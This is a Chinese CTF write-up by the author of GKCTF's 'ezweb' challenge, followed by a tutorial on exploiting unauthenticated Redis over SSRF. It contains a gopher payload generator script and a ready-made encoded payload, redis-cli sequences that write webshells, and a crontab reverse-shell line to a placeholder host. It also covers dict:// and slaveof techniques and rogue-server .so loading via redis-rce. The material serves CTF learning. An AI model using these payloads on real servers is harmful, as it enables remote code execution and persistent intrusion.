GKCTF-ezweb
我把docker打包到github上了
https://github.com/w4aaaander/CTF
感觉出的简单了...
考点:
- 内网探测
- ssrf+redis未授权
源码中注释了?secret
访问可以得到当前靶机的ip
看到有不少师傅去开buu上的内网机做,这里实际上是一个 web服务器 和一个redis 服务器组成的一个内网,是独立于单容器的内网,并且自动组网(来自赵总的解释),所以直接开内网机并不能访问到靶机,直接用ssrf会快得多(当时出题没考虑到结合buu的这个特殊性,在这里给各位师傅们谢罪...逃)
并且这里过滤的其实不严格,我多此一举的在file:后面加上了//,导致用file:/也可以读文件,这也是我的疏忽
继续,通过内网探测可以发现.11上开着web服务
根据提示进一步发现.11开着6379端口
然后可以利用gopher://协议写shell,可以用如下脚本生成exp
import urllib
protocol="gopher://"
ip="173.51.38.11"
port="6379"
shell="
<?php system("cat /flag");?>
"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="
"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
gopher://173.51.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
打过去再次访问.11/shell.php即可
第一次出题感觉确实拉跨了,原来想着考主从的,但是考虑到buu内网不是那么方便就直接开了web服务让师傅们写shell了,并且可能我没说清楚这题的特殊性导致很多师傅走了弯路,si ni ma sei
下面做了点小总结
redis未授权访问
一般来说如果redis暴露在公网并且没设置密钥保护就可能造成redis未授权访问
常见的方式有直接
写shell
> flushall
> config set dir /var/www/html
> config set dbfilename shell.php
> set webshell "<?php phpinfo();?>"
> save
或者写定时任务:
> flushall
> set 1 '
*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
'
> config set dir /var/spool/crontab/root
> config set dbfilename root
> save
但是上面的方式是直接进当前靶机操作的,如果比如想从kali上redis一个ubuntu,可以用
redis-cli -h ip
但是redis.conf如果中设置了bind ip ,那么这种方法就行不通了
ssrf+redis
例如我能通过某种手段对靶机进行ssrf,那么就可以用Gopher://协议或dict://协议对redis进行操作
gopher://
先来看gopher吧,因为数据比较特殊,可以在本地通过socat进行监听数据
下面的意思是访问2221端口实际上访问6379端口,相当于一个流量转发吧
root@ubuntu:~# socat -v tcp-listen:2221,fork tcp-connect:localhost:6379
redis写shell时加上- p 2221即可抓到真实数据流
> 2020/05/14 05:34:08.033689 length=18 from=0 to=17
*1
$8
flushall
< 2020/05/14 05:34:08.036252 length=5 from=0 to=4
+OK
> 2020/05/14 05:34:08.038985 length=54 from=0 to=53
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
< 2020/05/14 05:34:08.042783 length=5 from=0 to=4
+OK
> 2020/05/14 05:34:08.044651 length=57 from=0 to=56
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
< 2020/05/14 05:34:08.048444 length=5 from=0 to=4
+OK
> 2020/05/14 05:34:08.050381 length=53 from=0 to=52
*3
$3
set
$1
1
$26
<?php system($_POST[0]);?>
< 2020/05/14 05:34:08.052386 length=5 from=0 to=4
+OK
> 2020/05/14 05:34:08.054277 length=14 from=0 to=13
*1
$4
save
< 2020/05/14 05:34:08.056068 length=5 from=0 to=4
+OK
redis中
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以" "(CRLF)结束。
那么我们就需要将以上数据转换成对应的格式,脚本如下
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"
", "%0d%0a")
line = line.replace("
", '')
s = s + line
print s.replace("$", "%24")
或者先知上有直接生成的脚本(这个比较推荐):https://xz.aliyun.com/t/5665#toc-3
我贴在上面的ezweb里了,就不复制了
这样跑一下就能生成gopher协议的exp了
dict://
dict这个协议同样跟gopher性质类似,操作起来更简单一些
使用方法如下:
dict://172.24.0.3:6379/config:set:/var/www/html
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
dict://172.24.0.3:6379/save
如果有回显会返回ok,如下:
但是这时候去看一下redis靶机的shell会发现没有写入,或者干脆是乱码的形式
这时候就需要使用主从复制slaveof了,前提是两台服务器互通
首先在靶机上设置主从服务器
dict://172.24.0.3:6379/slaveof:ip:6379
这个时候靶机就从属与我们的主服务器了,并且会复制主服务器的信息
可以用info查看以下主从服务器信息:
>info
可以看到slaveof成功连接,接下来先设置shell:
然后此时进入靶机容器,get webshell
发现成功复制shell
然后需要断开主从
dict://127.0.0.1:6379/slaveof:no:one
接下来就跟上面的一样
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:<?php phpinfo();?>
dict://172.24.0.3:6379/save
此时完美写入
redis加载so文件
除了上述两种写shell外,slaveof还能加载so文件getshell
貌似需要redis版本>5
网鼎杯玄武组的一道ssrf也是用了这个思路:
这里我用kali作为攻击192.168.190.169,ubuntu作为靶机192.168.190.153
首先ubuntu主从上kali
kali下info查看主从
确保连接成功后就可以用exp打了,用第一个的脚本,第二个的so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rce.py -r 攻击ip -L 靶机ip -f exp.so
Reference:
https://xz.aliyun.com/t/5665#toc-3
https://www.t00ls.net/articles-56339.html
https://www.cnblogs.com/paperpen/p/11178751.html